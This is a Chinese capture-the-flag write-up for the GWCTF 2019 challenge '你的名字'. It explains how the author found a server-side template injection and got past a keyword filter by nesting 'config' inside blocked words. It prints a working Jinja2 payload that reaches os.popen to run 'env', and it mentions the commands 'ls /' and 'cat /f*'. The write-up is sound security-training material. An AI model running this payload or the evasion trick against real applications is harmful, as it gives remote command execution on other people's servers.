[GWCTF 2019]你的名字
- 1 解题流程
- 1.1 分析
- 1.2 解题
- 2 思考总结
1 解题流程
1.1 分析
1、页面只有一个输入框,输入什么回显什么
2、根据特性应该是SSTI注入
1.2 解题
- fuzz:过滤则长度1512
过滤:{{}}、class、mro、builtins、file、func_globals、import、args、eval、for、if、config、popen(将open过滤)
绕过:{{}}用{%print%}、关键字要么用attr(‘cla’'ss’)|attr(‘base’)
形式绕过、要么用['__clas'+'s__']
形式绕过、要么用clconfigass形式绕过
这里简单讲一下为什么最后的形式是claconfigss,因为waf是将关键字置空,但是这道题大概率的两层过滤,第一层先过滤class,第二层再过滤config,所以导致claconfigss绕过第一层后,第二层将config置空变成class。如果我们传conclassfig,则返回空,说明全被过滤了,这也印证了我的猜测。 - 构造ssti代码
采用最后一种形式去过滤,因为比较简单
{%print().__clconfigass__.__baconfigse__.__subclaconfigsses__()[250].__inconfigit__.__globalconfigs__['oconfigs'].poconfigpen('env').read()%}
2 思考总结
1、这题的开头,如果class是以’'或""来取基类的话,那么后续只会存在unicode回显;所以采用()或[]来取。
2、这题python版本是2.7.18,这版本直接在globals下用popen是非法的
3、这题flag存在env中,我只是直接列出了最终的payload,此前还包括ls /
、cat /f*
等操作